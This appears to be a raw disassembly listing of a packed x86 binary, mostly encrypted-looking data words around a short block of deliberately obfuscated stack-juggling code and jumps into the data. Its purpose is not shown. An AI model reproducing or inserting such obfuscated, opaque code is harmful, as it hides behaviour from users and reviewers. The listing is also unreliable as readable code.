		dd 0C5E90D4Dh, 820E46B5h, 0EAEB21FBh, 52EDE82Ah, 0B055E423h
		dd 0EE3C3E55h, 488BA939h, 3BE150DDh, 1E6255E4h,	3BF140EDh
		dd 0E7255E4h, 3A7B04h, 78080000h, 0D7039110h, 0D3CEFDB5h
		dd 0F93B5FBBh, 1B618077h, 0D8F675E0h, 0F7ED5E2Fh, 2D5163F2h
		dd 0D678F6E7h, 95F949DCh, 5A79C465h, 7C9B55E4h,	5517C515h
		dd 0CDA78BA9h, 0D000000h, 4241188Bh, 92DB3F4Fh,	53F092A7h
		dd 5DA583Ch, 0EF708803h, 0C29DADE0h, 0EE5DDAC0h, 6553F092h
		dd 98B0ED1Ah, 0C4F4183Ch, 0E1289BBh, 0A7E2EE7Dh, 92380B94h
		dd 0D7BB53F0h, 96EA505Dh, 0B12C53F0h, 0F096C574h, 2015E53h
		dd 0F71B7F8Fh, 215C6E3Dh, 4D4042DDh, 5024C53Dh,	7E58FA3Bh
		dd 6DD149DCh, 7C08D9A9h, 0D68DEE4Fh, 0A2A64FCBh, 0FEB3D2A9h
		dd 6833413Ah, 8CDA3DF0h, 3948070Dh, 5235C344h, 0D34B6302h
		dd 7D7C1h, 0EBA6A600h, 1687B827h, 3F7A9512h, 275E6CFBh
		dd 484544E3h, 0A56D47C4h, 0B827EBA6h, 910E128Bh, 69F63A75h
		dd 0B5E02457h, 735AE936h, 0BAD955E9h, 35686776h, 0A25476F1h
		dd 0C43AECA1h, 100FF7FAh, 0A46EB2D6h, 0DEE06180h, 0E53B9FAFh
		dd 3727EF02h, 0B1CAEEE2h, 0DC51E674h, 0F2283849h, 17B2410Ch
		dd 0F75BAF65h, 0F31554C7h, 0E0480B8h, 0E4DCB08Fh, 5CB35255h
		dd 0A8DAD01Eh, 0CEEE8Bh, 67CA0000h, 79063665h, 8627574Ah
		dd 53F09640h, 3198FE76h, 18BBB38Bh, 871844B9h, 56DCC02Ah
		dd 0E1EF87B9h, 123692AAh, 3C6F910Eh, 94C99F0Ch,	0E446BDA6h
		dd 0AA3B7381h, 2B32ADDEh, 0EF6B631Ah, 0F05F53EEh, 0A66CD053h
		dd 0B4D3AA05h, 98BA3BF9h, 1149DCB7h, 2A31E2Dh, 55E47737h
		dd 8E4AC84Ch, 6A6117F6h, 0CB12B1CDh, 2582FD4Fh,	5FDB1B16h
		dd 1F6BA9ADh, 4A79003Bh, 3554D357h, 9E33B778h, 0DD4D6301h
		dd 6D3CFh, 0EFA2A200h, 128BBC2Bh, 3B76910Eh, 235A68F7h
		dd 4C4140DFh, 0D96943C8h, 0B433F7AAh, 8D1A1E97h, 65020681h
		dd 89E42863h, 7046F532h, 0B6DD55E9h, 35686772h,	0C2C39AF1h
		dd 0DD57B3CBh, 7D81FC0Eh, 5A517F0Eh, 0EA6CA622h, 5366567h
		dd 30484546h, 5F6F1E2Fh, 615DD7FBh, 9AB1EC1Eh, 47CDC8C3h
		dd 6361F893h, 7EB41028h, 0F092C07Fh, 92E60753h,	527F0E79h
		dd 6DA7235Bh, 0DAB21A60h, 87201B49h, 55E94DB4h,	14274BCFh
		dd 0FC6F3355h, 0E97280B3h, 3E3F0355h, 55E97203h, 0BB971022h
		dd 99ED2DBEh, 128D91B5h, 3E0DAAF0h, 0B555E969h,	259DADD1h
		dd 1A9BB0C4h, 4FC592E8h, 0A01A1D61h, 0F862FF21h, 60EB280h
		dd 0DDED0000h, 0C0C15EA2h, 0B3DE49CDh, 97B532F6h, 808F181Ch
		dd 0AE82090Dh, 70B4E918h, 5FA3DAF7h, 45C9C4C0h,	31F5A8DAh
		dd 89B8E544h, 0A55E971h, 6567C7C9h, 47790636h, 295B2454h
		dd 6055A72h, 64EB738Bh,	4B3050Dh, 0F1ACDEEDh, 0D8883DAh
		dd 39E75307h, 4585948Ch, 7, 1592A53h, 0B9400000h, 53F09286h
		dd 0BCC3A041h, 65D41590h, 0FE53F092h, 0D845769Ah, 49DABD57h
		dd 0F887B498h, 0D453D7C6h, 8EFF00B2h, 0C6F61A7Eh, 41EE8F5Eh
		dd 55E94DF2h, 0D8D5F671h, 3A7B90B4h, 4FC5B6C8h,	0DF550F41h
		dd 63913B7Eh, 0B7132B62h, 38A86F93h, 7062FF7Fh,	5560A18h
		dd 25250000h, 839A66Ah,	0FB169195h, 0DFED7ABEh,	0C8C760A4h
		dd 0E6CA51D5h, 0B87C3150h, 0A76B222Fh, 8D910C38h, 79BDF012h
		dd 3100AD1Ch, 0B255E976h, 65679F01h, 47790636h,	295B2454h
		dd 3055A72h, 38177088h,	0D87749D1h, 3D7092B1h, 8C8F5DF9h
		dd 72F8594h, 85000000h,	0A62Ah,	61804000h, 3147E01Bh, 0CA49DAB2h
		dd 14363546h, 0F80A9599h, 47067585h, 0DF3B534Ah, 0C44E3F40h
		dd 506B11F0h, 0C35D42D7h, 3D4A954Fh, 16374840h,	0CFF35767h
		dd 0B7C990ABh, 37A8CD3h, 0F34E8F0Bh, 0D25FC32Dh, 799B75B0h
		dd 93ECA075h, 8173B72h,	0F8B83FAh, 86B827EBh, 6E7FE717h
		dd 9E44E11Ah, 5745EF1Fh, 99C62CF3h, 82FA5CE5h, 48BB0h
		dd 275A6A00h, 4A4344E3h, 732E59C6h, 9B1230AFh, 84F90897h
		dd 61D1FB80h, 7CEB2F62h, 55D2564Fh, 2DBA7E39h, 0F19C601Bh
		dd 771E2D8Ah, 7E9555E9h, 13A2ABAh, 80400000h, 47E01B61h
		dd 49DAB231h, 0D2CFFE8Dh, 0ACD45EBAh, 0BACC93A8h, 9EA03FC3h
		dd 728CBFF8h, 0E74055E9h, 55E97254h, 33176BEFh,	6687FF0Fh
		dd 0ABBCF912h, 3C4FC35Dh, 0EE094FAAh, 2347751Eh, 0D6E5828h
		dd 0DA34AC5h, 0A3A5A407h, 89BB24E8h, 6382FA12h,	0E6EE615h
		dd 418A549h, 0A9F6B143h, 45EF7CF1h, 0BD191E62h,	0D75CE5B6h
		dd 3E65567h, 0B5D50000h, 98A936FAh, 8B8621E5h, 6F9D0A0Eh
		dd 5877F034h, 765AE125h, 48CCC1C0h, 37FBB2DFh, 1DE19CA8h
		dd 90D8082h, 0A1901D6Ch, 2255E977h, 0F48B2F91h,	0B857DDD8h
		dd 94A70086h, 2F53F092h, 0A497102Bh, 3F53F092h,	7807375Bh
		dd 0E29BAC46h, 324A6EEAh, 0E1207784h, 0CC68ACDFh, 85948D1Eh
		dd 6EA2E878h, 0A1811B31h, 4AC8EC9Fh, 5BB9h, 61807700h
		dd 56517D0Ch, 0A89BA226h, 2B53F092h, 0AF080327h, 49DC2C91h
		dd 4605361Ah, 0D83C4C49h, 0F712695Ah, 0B3776BAh, 3755E4DCh
		dd 0FA556615h, 0E4DC8EBDh, 0F3010555h, 5CD93447h, 55E4DCEDh
		dd 7B10E266h, 0B6255550h, 0EBE39AB7h, 60D35C6Fh, 0E355E4DCh
		dd 1D8B959Fh, 21000003h, 18306B67h, 0D2564547h,	40783355h
		dd 2C890D3Fh, 53F0921Dh, 7D8EB296h, 6CA6E3EEh, 1181D7A4h
		dd 168DBB70h, 2C8C62E6h, 0FFB77DB0h, 0C4619AEEh, 49DCEA0Ah
		dd 0CE6F9FE3h, 55E4087Fh, 427A315Fh, 19860C3Dh,	55E4082Ah
		dd 8981A5A9h, 51D9305Fh, 50A2C914h, 8BA9228Ah, 3314h, 20223900h
		dd 80BDA76Dh, 47E01B61h, 49DC6CD7h, 97EC196Fh, 3A6663C5h
		dd 748488F8h, 0E4020A35h, 66DE855h, 0A91D26F4h,	0D8E9708Bh
		dd 0B79C6FA5h, 18000000h, 6366567h, 27574A79h, 852658h
		dd 0AA64A96Dh, 9CE31B3Fh, 42E3C16Ah, 0E9122840h, 0C27841C5h
		dd 1853F06Dh, 0F473B7E6h, 6A2320D2h, 0BAD2F652h, 0A6D5A342h
		dd 0DC88B579h, 6062F949h, 7BB91D2Dh, 7F070B0Fh,	44E11A6Eh
		dd 4FCAEE42h, 152481FCh, 0AE5FDB5Eh, 341868AAh,	9E737107h
		dd 7E4EA5D0h, 55740BB4h, 3C4BD458h
		dd 0C06CBE41h, 94046301h, 21786h, 0ABE6E600h, 0D6C7F867h
		dd 0FFBAD552h, 0E79EAC3Bh, 8858423h, 0E5AD8704h, 0F867ABE6h
		dd 0D14ED2CBh, 0A936FAB5h, 7520E497h, 759AA9F6h, 0FA1955E9h
		dd 0D7F48B36h, 888754DEh, 74961115h, 0A5C9C4C2h, 61809361h
		dd 3753E5E0h, 0A420587Ch, 3C2A8B80h, 0B549DC6Ch, 0C578B9D1h
		dd 2755E49Ch, 0D96665E4h, 5793BDA6h, 6A628641h,	304724EEh
		dd 162582FDh, 0EA55E48Ah, 0E48AFE4Dh, 0BD117555h, 69B75BD9h
		dd 0B58BA8A4h, 16CFBDBFh, 7685255Ch, 0E4801A29h, 7FB59955h
		dd 0D78Ch, 65672800h, 4A790636h, 40862757h, 9A53F096h
		dd 0B599C768h, 0EC2DB6BAh, 9D81A5E0h, 81FC0E99h, 93F01189h
		dd 0F0662712h, 0BA2ABC53h, 739B91D4h, 7992B6DAh, 9DADE0E2h
		dd 5DC8FB39h, 0D7F645E2h, 0F20D53F0h, 69B6DAD7h, 0E4D1235Eh
		dd 49DC322Ah, 0CBBB7FC3h, 1F9AB53Ah, 6A8EFF00h,	9DB3D451h
		dd 0C0444FCBh, 1895B4CBh, 17C8B14h, 219B6FEh, 0CCDE4E63h
		dd 108h, 60A4D7F7h, 53D7C6C7h, 38FCB9D4h, 26EAA1AFh, 13178AB9h
		dd 0EF1EA488h, 0D4F16EB2h, 0BECA55D9h, 9EA03FC3h, 0F34E2BEFh
		dd 0E97A87B2h, 0CDF71C55h, 0F1356867h, 0AE20CA9Ah, 60994B0Bh
		dd 3CF2E521h, 0F93BE8E2h, 3D7A2022h, 53F0450Eh,	65668185h
		dd 90B41028h, 9CAF087Bh, 1753F045h, 0E331E133h,	6366567h
		dd 0D0544779h, 102B51B0h, 49561A40h, 6DCA160Ah,	53F0ADDEh
		dd 47CDF155h, 82263B64h, 73EE49DAh, 0EA8C0732h,	7AB89C55h
		dd 6AF10A0Eh, 0AE2A225Fh, 94EB5864h, 890D3D78h,	0FBB2D48Bh
		dd 0BDFA55C0h, 55EA8C8Eh, 9380105h, 8A55EA8Ch, 306B9986h
		dd 0C276BC18h, 75932325h, 0B1C9C4C5h, 0BD193155h, 0EC1B6299h
		dd 0F73D99B1h, 165576B7h, 0E14EFC32h, 0BDC8978Ah, 1AFB56D7h
		dd 14780E92h, 5B6D22F0h, 4143DC20h, 1F2D324Ah, 4F35464h
		dd 0F1ACDEEDh, 1D90B22Dh, 0E2EF7EEDh, 0FD3793ABh, 363h
		dd 0A68C8900h, 4346767h, 3A52497Bh, 5E6E2925h, 71890401h
		dd 0AAA2DFEEh, 0C3FBB6D5h, 0E7178EBCh, 18306D98h, 27574647h
; ---------------------------------------------------------------------------
		pop	ds
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		push	7A62h
		mov	[esp], edi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		push	edx
		mov	edx, 1F52317Ah
		mov	edi, 256C114Eh
		sub	edi, edx
		mov	edx, [esp]
		add	esp, 4
		push	esp
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		sub	dword ptr [esp], 41A40C5Dh
		pop	dword ptr [esi+8]
		add	dword ptr [esi+8], 41A40C5Dh
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		or	[edx-38h], bh
		retn
; ---------------------------------------------------------------------------
		cmp	ecx, edx
		retn	0B87Eh
; ---------------------------------------------------------------------------
		db 0BDh
		dd 30619E9h, 84E0FFC5h,	83020499h, 3C6EA5C6h, 418E9DEh
		dd 0C1028F69h, 86C8D04h, 0CE2041D4h, 230E3F9Fh,	0E54C9FC0h
		dd 0AB4C6427h, 8F0F0163h, 0DE3B29D5h, 211BD958h, 5C17D532h
		dd 0F6533EA0h, 0F293C3Bh, 4222D454h, 0E7C5344h,	4F000BB1h
		dd 62134BECh, 816C76A4h, 0D61DC39Eh, 2F75B7CAh,	8B3D64D4h
		dd 0EA8166C0h, 0BD83909Bh, 61410F1h, 83097500h,	140E25BDh
		dd 19740006h, 0C08B5350h, 3FCB8h, 19858900h, 8D061418h
		dd 16A7529Dh, 5BD3FF06h, 25BD8358h, 6140Eh, 53501774h
		dd 3FCB8h, 19858900h, 8D061418h, 16A4419Dh, 5BD3FF06h
		dd 7E858h, 0E9230000h, 7047C17Dh, 5AF2B7DCh, 4C2F25BAh
		dd 0FCC08B76h, 1CDBD83h, 0F010614h, 9684h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 0C00B5218h, 0A7090291h, 0CE97665h, 0D7000000h, 7257B9DEh
		dd 0E172CDD3h, 6655BF63h, 2AA1D381h, 29BD83h, 0F000614h
		dd 4E85h, 13E900h, 0FDAE0000h, 0FF30B172h, 6E3956F0h, 51F13ADFh
		dd 95B44418h, 5A64BB57h, 0BD8330FCh, 6140CC9h, 0B6840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 2C87C357h, 1E74CF12h, 0E96DF473h
		dd 406h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 16h,	62C35343h, 0F28197B2h, 75F471D9h, 51EB8052h, 0FC5Ah
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 7F37F0C3h, 8B660720h, 51006AD0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0C6FB5D5Fh
		dd 89B6403Fh, 13860Fh, 0EE90000h, 34000000h, 233FDF19h
		dd 0B9E30D24h, 0EA078AE2h, 4F7046D5h, 9CC3FC5Fh, 9C3A4DBCh
		dd 18AF8909h, 9DA4DCBAh, 0C840D3D2h, 96C338F2h,	0FF2DC2B3h
		dd 0DCC5CBB3h, 759826EEh, 7DC1D6DFh, 0E8C15DF7h, 0B9C5BCB3h
		dd 4F469DE6h, 7D15D02Fh, 93612740h, 0F81922A2h,	0FCAFE5B3h
		dd 0FCC61AE6h, 0A1E579B3h, 904CE170h, 0B8445A97h, 0FCDC2B97h
		dd 0A98097B3h, 0B4627D70h, 0A948CBACh, 0FCC5F25Bh, 114424B3h
		dd 0FADC500Ah, 0F315D5D5h, 0FCC52E3Bh, 3C4E62B3h, 1496CBD9h
		dd 0FCC5E5B0h, 0A706A993h, 0F8E1253Ah, 0F8E1F832h, 0FCC55EA8h
		dd 0A9067CF0h, 91DE6C73h, 6CA7BE56h, 0FCC5EB5Ah, 0F89C42B3h
		dd 0DBBA6D3Fh, 0B62A2829h, 0ACDCC878h, 6C1CA4D5h, 9A127C33h
		dd 0F35E7208h, 2E1A9B2h, 1497F2D9h, 0FCC579B0h,	0A606E693h
		dd 0F8E10A3Ah, 0F8E16B32h, 0FCC597A5h, 0BF0699F1h, 237E6F6Fh
		dd 15CDB39Ch, 0FCC579A7h, 0D68C883Ah, 676A44A2h, 1AA8AD64h
		dd 0EE0FDF7h, 93C0260Bh, 0AFC58FEBh, 0FCC5F15Bh, 3F9E59B3h
		dd 0D89935E8h, 0D881DFB7h, 0FCC539B7h, 3F96D4B3h, 9ACFFD04h
		dd 0CA9A0632h, 0FCC77DBCh, 757279B3h, 0FCC7B0B6h, 0AEC534B3h
		dd 0FCC52C5Bh, 3F9FB7B3h, 0D89142E9h, 0D88164B7h, 0FCC5E8B7h
		dd 3F973BB3h, 0C3D22831h, 47072718h, 0CA892D2Bh, 0FCC5915Ah
		dd 347471B3h, 77D24B3Bh, 0AAC598BBh, 0FCC57A5Bh, 3F9B9CB3h
		dd 0D8B1D7EDh, 0D881AEB7h, 0FCC58FB7h, 3F938DB3h, 0DE280A7Eh
		dd 257AFD73h, 0FCC5775Ah, 0D4AE2BB3h, 37335E47h, 8C85E901h
		dd 9AD8A74Ch, 96398338h, 0FF2DB4B3h, 0DCC5F2B3h, 759CBAEAh
		dd 7DC198FFh, 0E5C17AF7h, 0BDC52FB3h, 88DD54E2h, 45FC8D2h
		dd 0FE4EEAD3h, 0ADC5F2B3h, 1B4518E9h, 0FCD755CBh, 0A1B65EB3h
		dd 835A6794h, 0D1FDF32Bh, 0A01A8BC8h, 57F343E7h, 0FCC5F30Bh
		dd 77A329B3h, 0D8C93569h, 151CD2D5h, 0FCC52FA2h, 0E412565Eh
		dd 0E7789BA9h, 0C614246Ch, 65AA22C0h, 0F8048F31h, 0FC3B39BCh
		dd 43CA5EB3h, 0FCAF7665h, 0FCC67FE6h, 0A1E5CBB3h, 904CB870h
		dd 0B844F697h, 0FCD97D97h, 0A980BCB3h, 0DEF4B970h, 62766EFh
		dd 7C30809Fh, 79CAA38Ah, 0FCC5E49Fh, 1495F2D9h,	0FCC579B0h
		dd 0A406E493h, 0F8E11A3Ah, 0F8E16B32h, 0FCC597ABh, 0C3069BF3h
		dd 0DC1041E9h, 0FDBC794Bh, 149579D9h, 0FCC5BCB0h, 0A4060693h
		dd 0F8E16B3Ah, 0F8E1D332h, 0FCC5CBA5h, 2E06B5F3h, 0EE2CC268h
		dd 0E5C579B3h, 0F7E45BB5h, 268925DAh, 0AEF2C251h, 5C013513h
		dd 0FCCB2357h, 1C6AE5B3h, 4B7DBE72h, 0ADC8ABB7h, 0C50BC2AFh
		dd 0FCC0D2BCh, 7DA32FB3h, 0A794E961h, 0FCC53432h, 7ECA65B3h
		dd 0FCC5F21Bh, 172FFC74h, 0FCC4BAAAh, 76CA5EB3h, 0FCC52FA5h
		dd 0FCC5865Ah, 9C9AD9B3h, 0F5E0AE7Dh, 0D4D43AD3h, 0DA1AF399h
		dd 7F2C6C9Ah, 5C55EB3h,	0FCC5585Ah, 0FCD77EB3h,	0D5C5CBB3h
		dd 75E5C449h, 0E9012FD4h, 0A4078A25h, 8F834805h, 0F84551EAh
		dd 9AC52FB3h, 9A486608h, 3CEB230h, 0FC8F61BCh, 0FCAFF2B3h
		dd 0FCC691E2h, 0A5E5BCB3h, 0B04C0770h, 0B8442B97h, 0FCD89397h
		dd 0AD84CBB3h, 8027E670h, 9E997F6Fh, 0F13773h, 3B1437D5h
		dd 0E52EB436h, 0FCC52EB5h, 0FCCB7FB3h, 7BEBCBB3h, 3CE5874Fh
		dd 0A01D2DAFh, 6E57616Ch, 9FCB00h, 7C12D5FBh, 0A7CCB6Ch
		dd 71C46923h, 0E5347636h, 1E7868B5h, 0C7C3EB5Ch, 0CCC20D4Bh
		dd 0BB0C6DBCh, 47A3AB58h, 0FCAF64BAh, 0FCC67FE1h, 0A6E5CBB3h
		dd 0A84CBF70h, 0B844F697h, 0FCDC7D97h, 0AE87BCB3h, 907BDB70h
		dd 7FF2CB30h, 0E8C45A0Eh, 78CACAB5h, 0FCC5E5D3h, 0FCD41BD3h
		dd 0DAB979B3h, 0C069E44Bh, 741FACACh, 0D3A18C3h, 9DB6E2CFh
		dd 0FCEC7630h, 0F3C5E3A7h, 0FCC5C936h, 0ACC513B3h, 0FCC5BF5Bh
		dd 3F9D7EB3h, 0D881A6EBh, 0D88116B7h, 0FCC5DCB7h, 3F95A5B3h
		dd 0A055E913h, 7BCAA938h, 0FCC5BCB7h, 31CEE4D5h, 0F00C9230h
		dd 0F3C591A7h, 0FCC5C137h, 0A630B3B3h, 0FCC5075Ah, 7F2CCEB3h
		dd 0E8C4710Eh, 79CA5FB5h, 0FCC52F7Ah, 149597D9h, 0FCC5CBB0h
		dd 0A406BD93h, 0F8E1B63Ah, 0F8E13D32h, 0FCC5BCAFh, 0B2060EF3h
		dd 5CFAC925h, 658F02BAh, 0FCC5C25Bh, 151E14B3h,	5DE5FB56h
		dd 0FA2D36EBh, 1C5BCB3h, 0CF183AE8h, 0E444937h,	0A69E60A3h
		dd 0ABC5A1EEh, 0FCC5E65Bh, 3F9AD2B3h, 0D8B9F0ECh, 0D8813DB7h
		dd 0FCC545B7h, 3F9268B3h, 919AA2A8h, 0B3DC0F52h, 0FCC461BCh
		dd 143DF2B3h, 0FCC579A1h, 8539A8E8h, 0FB29668Eh, 0A06255DFh
		dd 75470CAFh, 187F5FC2h, 0A6BACF8Fh, 272F7370h,	158882A1h
		dd 0FCC5BCFDh, 14975ED9h, 0FCC52FB0h, 0A606CD93h, 0F8E19F3Ah
		dd 0F8E1A132h, 0FCC5F2A5h, 57062BF1h, 0F22C1DA9h, 0CBC55EB3h
		dd 2CA19F7Dh, 25B8C45h,	513FA61Dh, 3F45B854h, 7DA33DFFh
		dd 14C71368h, 0FCC5BCBAh, 0D06D7F41h, 1B96E46Eh, 4F7EF1D7h
		dd 414891A2h, 0FADC09FEh, 0D4F7F3Eh, 0E17D7FAAh, 0CFBE86EFh
		dd 0E8D29736h, 3D0A04B5h, 230A7C5Ah, 3671C469h,	0B5E53476h
		dd 5C1E7868h, 4BC7C3EBh, 0BCCCC20Dh, 0E9830C6Dh, 83A4F305h
		dd 19EBEABDh, 0D740006h, 4DFF8D8Dh, 1B80614h, 0FF000000h
		dd 8B6640E1h, 51006AD9h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 5BFC57AFh, 0BB2DE883h, 323C4BE7h
		dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0C13124C3h, 5E4AC833h, 0A6A0BA60h, 0BD8351DCh
		dd 61410F1h, 83097500h,	140E25BDh, 19740006h, 0C08B5350h
		dd 3FCB8h, 0F1858900h, 8D061424h, 16A7B99Dh, 5BD3FF06h
		dd 25BD8358h, 6140Eh, 53501774h, 3FCB8h
		dd 0F1858900h, 8D061424h, 16A45A9Dh, 5BD3FF06h,	51006A58h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 419F8AEAh, 0E84F37C0h, 0Ch, 321EA544h, 8C8310Dh, 0F3E33F9Fh
		dd 0D25CBB51h, 5A5B1EC4h, 0A2E9C08Bh, 0A2000000h, 940320FCh
		dd 5000000h, 1000000h, 28000000h, 200000Ah, 53000000h
		dd 69767265h, 50206563h, 206B6361h, 32h, 1Eh dup(0)
		dd 0C6FE900h, 0CB680000h, 0E90619F4h, 0FFFA8D90h, 19F60668h
		dd 8D86E906h, 68FFFAh, 0E90619F7h, 0FFFA8D7Ch, 19F77468h
		dd 8D72E906h, 0F568FFFAh, 0E90619F8h, 0FFFA8D68h, 19F97868h
		dd 8D5EE906h, 1768FFFAh, 0E90619FDh, 0FFFA8D54h, 19FE1868h
		dd 8D4AE906h, 0D1F1FFFAh, 0BCCD5ADEh, 0A7A23DC1h, 8BB926EAh
		dd 74930C10h, 4276F539h, 54D8D5F4h, 43C7BECBh, 29EDA8A4h
		dd 0D118CBEh, 0AD9C1960h, 2655E961h, 65672BEDh,	0DF950636h
		dd 2FC30E62h, 7724EEEEh, 0A9E22655h, 0C89063DBh, 0AE648283h
		dd 8A81F716h, 0DCCE612Dh, 76868A49h, 0B2D3AA05h, 2C47F2FBh
		dd 78DC55E4h, 2C043BBAh, 0BBE655E4h, 0F311A3A4h, 0F19E94B8h
		dd 5514879Ah, 0CD7C7D38h, 4655E42Ch, 82A830C2h,	1C8BA946h
		dd 40h,	1B618098h, 6CD747E0h, 242849DCh, 0D9D1A714h, 0FDE06AB6h
		dd 0A0DDEE39h, 40DC6352h, 0CEFC55E4h, 0A6D8A7D7h, 0E211C7F7h
		dd 2417908Bh, 0BF55E440h, 0ABAAB7DBh, 5EE83644h, 0BDF68BA9h
		dd 22000000h, 6366567h,	27574A79h, 47772658h, 93970638h
		dd 0F097F6CAh, 0C7B6C853h, 0EBA2A443h, 0EE9A6BD3h, 7EF650DDh
		dd 0F00F49DCh, 6E2925CFh, 0B2D6324Ah, 81F7166Eh, 0D6C02D8Ah
		dd 0E76B4FCBh, 29A99CD4h, 54D70300h, 6F9EEDDEh,	0A0C4B7C9h
		dd 4CFF38ABh, 0C75FDA3Bh, 8A01B143h, 58DAD1F3h,	6098483h
		dd 6302923Ah, 2C4052CAh, 0AC00000Ah, 821DE19Ch,	9F080C81h
		dd 6AF53974h, 42DD215Ch, 41CA4E43h, 0F5A8A76Fh,	1C99B631h
		dd 8838F18h, 32699B04h,	0FF3883EEh, 55E9664Ch, 8B088CC7h
		dd 0DD28D3F4h, 830C74BAh, 55B1C9EDh, 8C0100DFh,	4CED1F88h
		dd 7339BC12h, 671A297Fh, 19DB5F43h, 0E01B6180h,	0DC6CD747h
		dd 0F2332849h, 55E49C47h, 15255877h, 5579DDB1h,	9CB98425h
		dd 6D9955E4h, 0CA91A32h, 55E49C3Dh, 3355D2B6h, 68C74078h
		dd 212C3901h, 0BBE457CAh, 55E49C88h, 6D0D070Bh,	8BA89ABFh
		dd 0DADFh, 0F21D6C00h, 0F10387B7h, 2165670Fh, 4575285Ah
		dd 9249F8C1h, 666153F0h, 0C3B7132Bh, 5C235B7Fh,	0D958702Dh
		dd 53F097E3h, 0B9D2C9FBh, 0E752D34Eh, 7C53F096h, 9662D118h
		dd 66E153F0h, 0F052964h, 0F3AADC4Bh, 0D8263DBh,	25149101h
		dd 0BE53F096h, 1885B6DAh, 53F09629h, 8982A6AAh,	0DC7E0A2Ch
		dd 5BDFA349h, 9DAEDA2Bh, 0CBEBEE10h, 0E618674Fh, 0E17893B7h
		dd 0CC7FB8E2h, 475FDA52h, 6B2224C3h, 0B8D3F753h, 5251E04Dh
		dd 95D25FDAh, 8A0E3E79h, 7BE4AC66h, 0CCE514Ch, 0E463027Bh
		dd 8F1A674h, 61610000h,	4C7DEA2Eh, 3752CD51h, 1B29B67Ah
		dd 4039C60h, 0D2068589h, 0E4286564h, 0D3574E7Bh, 0B97D3854h
		dd 9D611C2Eh, 1D2C89F0h, 9655E964h, 6867BB7Dh, 5476F135h
		dd 671FD559h, 79063665h, 51275447h, 4C4087E3h, 0A10315E9h
		dd 91C00A00h, 275F1B19h, 1C99B2C6h, 49DA3B8Ch, 108DBAC5h
		dd 1D6CDFECh, 0A17EB4EFh, 6128EC9Fh, 55EA3E42h,	0BBD758ADh
		dd 0B658DCC0h, 0D657C2FFh, 55EA3C7Bh, 269E94F8h, 1D9AB1C7h
		dd 4FC6C5E9h, 9EED1E62h, 80043471h, 0C8B2F372h,	0DCB872Ch
		dd 5A5173FCh, 4A980536h, 8BD62BE1h, 9C197487h, 0F5FB49ADh
		dd 59E83526h, 0DAF5FB49h, 0E4C05276h, 0C06FE177h, 11F548C4h
		dd 11E4B41Fh, 0C84AD42Bh, 546715F4h, 0D43972CBh, 6299FDEFh
		dd 6EB2E91Bh, 3605A21Dh, 4DFFD209h, 72944BC9h, 8A1FA9C9h
		dd 2044E7E7h, 0AFD27DFh, 8B99F1C3h, 7F7h, 0F0346767h, 0E3275677h
		dd 0C84C4944h, 0B67A315Fh, 0A3671A29h, 7F8E3418h, 6461FE02h
		dd 4E7AE529h, 2E50CF53h, 63DEBB7Fh, 0E96577C2h,	5D478C55h
		dd 0DED7F48Bh, 0EC816054h, 92053471h, 0BA9E53F0h, 0F09280B3h
		dd 0E697A853h, 718AAE92h, 0DA81A434h, 22593D49h, 0AF732A5Bh
		dd 247E84DCh, 9B10406Dh, 0CCC1C299h, 0EAA1A3BCh, 13C17725h
		dd 83910969h, 783h, 74B8F313h, 5FA3DAEBh, 44C8C5C0h, 32F6ADDBh
		dd 171B96B5h, 0F312A094h, 0E0ED7ABEh, 0CAC661A5h, 0AADC4BCFh
		dd 0FF422FF3h, 0E96583BEh, 0C9F30055h, 0A30C6180h, 53F09290h
		dd 0F00B2F13h, 0DA8125B7h, 6462F949h, 7FB51129h, 24CFFC0Bh
		dd 2E5E486Bh, 54D3F7F3h, 27547835h, 0EE26BCB4h,	0DB728095h
		dd 0D808259h, 2E5D6FFEh, 5F2CE4h, 17738B02h, 305CA91Dh
		dd 0BAB39A1Bh, 543855E9h, 722B5827h, 191B96B5h,	0BA320CADh
		dd 0F21055E9h, 0CDFC83BBh, 56661D2Bh, 8ABECEF2h, 0E9E7264Dh
		dd 1A3E9AB2h, 7C8DDCCFh, 0A9E4E601h, 6D6D846Bh,	8BADB0BFh
		dd 0A0F6491Fh, 5281F243h, 0DF557934h, 2F2Ch, 65808800h
		dd 3994EC1Fh, 0B227907Dh, 0A401A270h, 53F07B91h, 9716262Ah
		dd 53F07BA8h, 16648B4Ah, 859571C8h, 7D6h, 0EE2AC200h, 40000001h
		dd 21D8FD8Bh, 8EACD771h, 0DF09AE84h, 33417A0Eh,	0FAAB9002h
		dd 470653F7h, 46B443D5h, 89169163h, 49DC7A7Dh, 0C8BB92F6h
		dd 0B3BE00B8h, 80A4AD07h, 0E047D941h, 1590BC1Dh, 51B223F1h
		dd 0A6245F04h, 4AF92647h, 0C9E64FE4h, 5AE93645h, 0D9E64FE4h
		dd 0FD3A5175h, 0FC6339ADh, 32AAA2A6h, 3B96A5D3h, 536B2224h
		dd 8BB03DF7h, 4F20CB9h,	52740B00h, 7350205Bh, 0AD82D6ACh
		dd 0FDEEAD43h, 3FD5684Bh, 0A0A23DF5h, 4E862AEDh, 0CE3EAD41h
		dd 602FCh, 3F729200h, 225B6CFBh, 4B4641DEh, 732A58C7h
